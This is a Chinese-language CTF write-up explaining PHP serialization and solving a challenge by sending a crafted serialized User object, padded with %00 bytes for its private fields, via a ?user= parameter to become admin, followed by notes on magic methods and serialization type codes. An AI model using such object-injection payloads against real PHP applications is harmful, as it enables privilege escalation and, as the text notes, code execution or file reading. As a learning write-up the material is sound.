题目简述


审计代码,题目大意是让我们将username变为admin就会给flag

思路过程

我们需要传入参数,但是遇到这种改怎么传参呢?我们注意到源代码有if($_GET['user'])这样一段,这样的代码就是php获取网址后的参数的,比方这里就是获取user的值,那么我们传参时就可以写?user=需要传入的数据这种结构是可以直接写在网址后面的。
知道了如何传参,那我们要传入什么数据呢?我们注意到,题目里有一个unserialize()函数,这就是反序列化函数,那什么是序列和反序列呢?以下摘录网络的解释:
php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

序列化

序列化的目的是方便数据的传输和存储。

在PHP应用中,序列化和反序列化一般用作缓存,比如session缓存,cookie等。

常见的序列化格式:

二进制格式

字节数组

json字符串

xml字符串
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
var_dump(serialize($test));
?>

输出结果为:

C:\phpstudy_pro\WWW\s1.php:11:string 'O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"�*�b";s:5:"ThisB";s:7:"�Test�c";s:5:"ThisC";}' (length=84)

实际的序列化字符串为

:O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"�*�b";s:5:"ThisB";s:7:"�Test�c";s:5:"ThisC";}

对象序列化后的结构为:

O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

可以得知,序列化之后的结果是字符串string。

Test是一个类,new Test()表示创建Test类的对象。

O表示对象,4表示类的名称有4个字符,Test是类名称。

3表示对象中有3个成员变量。括号里面是每个成员的类型、名称、值。

变量名和变量值之间以分号分隔。

a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。

b是protected类型的变量,它的变量名长度为4,也就是b前添加了%00*%00。所以,protected属性的表示方式是在变量名前加上%00*%00。

c是private类型的变量,c的变量名前添加了%00类名%00。所以,private属性的表示方式是在变量名前加上%00类名%00。

虽然Test类中有test1方法,但是,序列化得到的字符串中,只保存了公有变量a,保护变量b和私有变量c,并没保存类中的方法。也可以看出,序列化不保存方法。

反序列化

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>

输出内容如下:

C:\phpstudy_pro\WWW\s2.php:13:
object(Test)[2]
public 'a' => string 'ThisA' (length=5)
protected 'b' => string 'ThisB' (length=5)
private 'c' => string 'ThisC' (length=5)

类的成员变量被还原了,但是类的方法没有被还原。因为序列化的时候就没有保存类的方法。

提炼出对题目有帮助的两点:
1.序列化时php表示数据的一种方式
2.序列化中,类名前后要加入%00即%00类名%00
由题目我们可知,我们传入的数据是要经过反序列化的,所以我们要传入一个序列化了的数据,但怎么构造呢?

构造序列化数据

你当然可以按照上面给出的格式手打payload,但我们为什么不修改以下源代码使其输出序列化的数据呢

<?php
highlight_file(__FILE__);
include "flag.php";
class User{
    private $Username = "admin";
    private $Password = "0xDktb111";

    function __construct(){
        $Username = "admin";
        $Password = "0xDktb123";
    }


    function isAdmin(){
        if($this->Username == "admin"){
            return true;
        }
        return false;
    }

    function __destruct(){
        echo "Hello ".$this->Username;
    }
}
$user = new User();
$user = serialize($user);
echo $user;
?> 

根据题目意思,我们将所有的username改为admin,并且将后面直接改成给user变量赋予序列化后的数据,并输出,在kali下可以直接用php -f php文件来在终端中执行php脚本并输出,得到结果:

O:4:"User":2:{s:14:"UserUsername";s:5:"admin";s:14:"UserPassword";s:9:"0xDktb111";}

我们直接拿这个payload,在网址后面加上?user=…….. 这样就可以了吗?显然不行,因为类名前后还要加入%00,所以最终的payload应该是这样:

O:4:"User":2:{s:14:"%00User%00Username";s:5:"admin";s:14:"%00User%00Password";s:9:"0xDktb111";}

贴在网址后面,提交参数,得到flag:

踩坑总结

1.刚开始做题时不懂序列化,构造的payload有问题,导致了一些误解,总之此题admin的password没有特别要求。


以下附上一些关于反序列化的知识:
PHP反序列化漏洞中可能会用到的魔术方法

php类可能会包含魔术方法,魔术方法命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。

__construct():具有构造函数的类会在每次创建新对象时先调用此方法。

__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

__sleep()方法在一个对象被序列化之前调用;

__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。

__construct() # 当对象被创建时调用
__destruct() # 当对象被销毁时调用
__toString() # 当对象被当做字符串使用
__sleep() # 在对象被序列化之前调用
__wakeup() # 在对象被反序列化之前调用

现在5个魔法函数的执行顺序就明确了。

对象被创建时执行__construct。

使用serialize()序列化对象。先执行__sleep,再序列化。

unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。

把对象当做字符串使用,比如将对象与字符串进行拼接,或者使用echo输出对象,会执行__toString

程序运行完毕,对象自动销毁,执行__destruct。

安全问题

如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。unserialize的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。


2.概述

PHP 序列化后的内容是简单的文本格式,但是对字母大小写和空白(空格、回车、换行等)敏感,而且字符串是按照字节(或者说是 8 位的字符)计算的,因此,更合适的说法是 PHP 序列化后的内容是字节流格式。因此用其他语言实现时,如果所实现的语言中的字符串不是字节储存格式,而是 Unicode 储存格式的话,序列化后的内容不适合保存为字符串,而应保存为字节流对象或者字节数组,否则在与 PHP 进行数据交换时会产生错误。

PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP with Yahoo! Web Services 一文中给出所有的字母标示及其含义:

    a - array
    b - boolean
    d - double
    i - integer
    o - common object
    r - reference
    s - string
    C - custom object
    O - class
    N - null
    R - pointer reference
    U - unicode string

N 表示的是 NULL,而 b、d、i、s 表示的是四种标量类型,目前其它语言所实现的 PHP 序列化程序基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对 s (字符串)的实现存在问题。

a、O 属于最常用的复合类型,大部分其他语言的实现都很好的实现了对 a 的序列化和反序列化,但对 O 只实现了 PHP4 中对象序列化格式,而没有提供对 PHP 5 中扩展的对象序列化格式的支持。

r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据,后面我们将详细讲解这两个标示,目前这两个标示尚没有发现有其他语言的实现。

C 是 PHP5 中引入的,它表示自定义的对象序列化方式,尽管这对于其它语言来说是没有必要实现的,因为很少会用到它,但是后面还是会对它进行详细讲解的。

U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式,不过这个类型 PHP5、PHP4 都不支持,而这两个版本目前是主流,因此在其它语言实现该类型时,不推荐用它来进行序列化,不过可以实现它的反序列化过程。在后面我也会对它的格式进行说 明。

最后还有一个 o,这也是我唯一还没弄清楚的一个数据类型标示。这个标示在 PHP3 中被引入用来序列化对象,但是到了 PHP4 以后就被 O 取代了。在 PHP3 的源代码中可以看到对 o 的序列化和反序列化与数组 a 基本上是一样的。但是在 PHP4、PHP5 和 PHP6 的源代码中序列化部分里都找不到它的影子,但是在这几个版本的反序列化程序源代码中却都有对它的处理,不过把它处理成什么我还没弄清楚。因此对它暂时不再 作更多说明了。
补充

最近的 PHP CVS 版本中,序列化的方式有所变化,基本类型的序列化仍然保持原来的格式,只是对 Unicode 支持上,有了新的进展。另外,对普通字符串的序列化也分成了 2 种。一种是 non-escaped 字符串,也就是我们上面说的那个小写 s 标识的字符串;另一种是 escaped 字符串,这种字符串格式用大写 S 标识。所以上面那个表现在应该改为:

    a - array
    b - boolean
    d - double
    i - integer
    o - common object
    r - reference
    s - non-escaped binary string
    S - escaped binary string
    C - custom object

⬆︎TOP